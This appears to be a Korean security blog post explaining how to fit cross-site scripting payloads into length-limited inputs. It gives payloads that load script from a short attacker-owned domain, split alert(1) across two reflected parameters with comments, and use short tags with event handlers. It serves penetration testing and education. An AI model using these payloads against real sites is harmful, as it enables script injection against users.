Short XSS! 공격구문 삽입부분이 작을때 XSS를 삽입하는 방법들

⚠️ XSS에 대한 전반적인 내용은 Cullinan > XSS#short-xss 페이지에서 관리하고 있습니다. 해당 페이지에서 최신 데이터가 유지되니 참고 부탁드려요 :D

XSS에 대한 테스트를 하다보면 특수문자나 구문에 대해 필터링이 이루어지지는 않지만 때때로 여러가지 난관에 막힙니다. 그 중 입력 글자 수 제한에 대해 우회하는 방법에 대해 이야기할까 합니다.

Short domain

개인 소유의 짧은 주소의 도메인을 가지고 있을 시 가능합니다. 외부에 js 파일을 하나 올려두고 root path 접근 시 이를 로드하게 구성합니다. 그 후 script src를 통해 읽어주시면 됩니다. 다만 여기서 고려해야할 부분은 CSP 정책에 따라서 외부 리소스가 차단되는 경우도 있으니 헤더를 확인하시면서 보시는게 좋을 것 같아요.

<script src=//url.u/></script>

하나 팁이 더 있다면, 이모지 기반의 도메인도 있다는 것 아시나요? 보통 예시로 드린 도메인 같이 짧은 도메인은 인기기 있기 때문에 구하기 어렵습니다. 그래서 이모지 기반의 도메인을 사용하면 짧은 코드로도 구성할 수 있습니다. 예를들면.. https://i❤.ws

Combined XSS

한 페이지에서 여러 Paramter 가 reflected 되는 경우가 있습니다. 이러한 경우 각 구문 사이의 코드를 넣고 주석 처리하여 이를 우회할 수 있습니다. 만약 입력이 가능한 부분이 name, age 라는 파라미터라고 가정하였을때 아래와 같은 형식으로 공격구문을 작성합니다.

GET /target?name=<script>alert(1)/*&age=*/</script>
name: <script>alert(1)/*
test: 1234
ggg: bbbb
age: */</script>

두 파라미터가 삽입되는 공간 사이에는 주석 처리되어 JS 구문 오류 없이 XSS 코드가 동작할 수 있습니다. 이는 Javascript의 주석 뿐만 아니라 HTML 주석 태그로도 비슷하게 가능합니다.

Short tag

onclick, onmouseover, onkeyup 등 XSS에 사용가능한 이벤트 핸들러는 매우 많습니다. 모든 태그에 동작하지는 않을 수 있지만, 비표준 태그에서도 이벤트 핸들러는 동작시킬 수 있기 때문에 아래와 같이 <x> 같은 태그를 사용하여 짧은 코드를 구성할 수 있습니다.

<x onclick=alert(1)>
<b onkeyup=alert(1)>

다만 실제 트리거까지 이어지기 위해선 아무래도 클릭, 마우스 오버 등 트리거해줄 수 있는 조건이 만족해야겠지요.